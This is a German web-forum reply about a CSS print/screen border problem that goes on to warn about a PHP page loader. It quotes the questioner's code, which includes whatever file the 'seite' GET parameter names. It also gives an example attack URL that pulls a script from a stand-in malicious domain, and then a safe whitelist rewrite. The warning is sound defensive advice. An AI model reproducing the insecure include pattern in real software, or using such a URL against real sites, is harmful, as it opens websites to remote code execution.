Felix Riesterer: Media Print/Screen

Beitrag lesen

Lieber Christian,

ich weiß jetzt nicht, warum das so ist, aber wenn Du den ersten Style-Bereich im Quelltext nach dem zweiten notierst, ihm auch noch ein "border: none;" spendierst, dann sind die Rahmen weg.

Im Übrigen definierst Du manche Eigenschaften mehrmals. Das solltest Du noch entrümpeln!

Und nochwas: Deine PHP-Geschichte ist ganz großer Mist!

<?  
if (isset($_GET['seite']))  
{  
include($_GET['seite']);  
}else{include("versandliste.php");}  
  
?>

Dieses Code-Beispiel ist hochgradig gefährlich! Wenn jemand einen GET-Request fälscht, z.B. mit "http://deineseite.tld/script.php?http://www.bösedomain.tld/böses_script.php", dann includierst Du das. Damit kann man dann Deine Seite missbrauchen! Daher solltest Du mittels GET-Parameter eine Art ID oder sowas übermitteln, anhand derer dann eine der ID fest zugeordnete Script-Datei includet wird.

Beispiel:

<?php  
// verwende IMMER die Langform "<?php" anstatt der Kurzform "<?"! Es ist sicherer!  
  
$seite = "";  
if(isset($_GET['seite'])) $seite = $_GET['seite'];  
  
switch($seite)  
   {  
   default:  
   include "versandliste.php";  
   break;  
  
   case "erster_wert":  
   include "versanddatum.php";  
   break;  
  
   case "zweiter_wert":  
   include "kontaktformular.php";  
   break;  
  
   // Andere Werte können ebenso eingebunden werden!  
   // Ist etwas völlig unerwartetes im GET-Request, so  
   // wird der default-Vorgang (siehe oben "default:")  
   // innerhalb der switch()-Verzweigung angewendet.  
   }  
  
?>

Liebe Grüße aus Ellwangen,

Felix Riesterer.